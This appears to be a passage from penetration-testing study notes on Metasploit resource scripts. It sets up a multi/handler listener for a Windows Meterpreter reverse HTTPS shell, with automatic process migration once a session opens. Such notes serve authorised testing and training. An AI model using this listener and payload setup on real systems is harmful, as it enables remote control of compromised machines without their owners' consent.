7. Automated Resource Scripts


setg LHOST <ip>

unsetg LHOST
sudo msfconsole -r script.rc
#Set up listener
use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_https
set LHOST 192.168.119.4
set LPORT 443

#Run when session is opened
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
run -z -j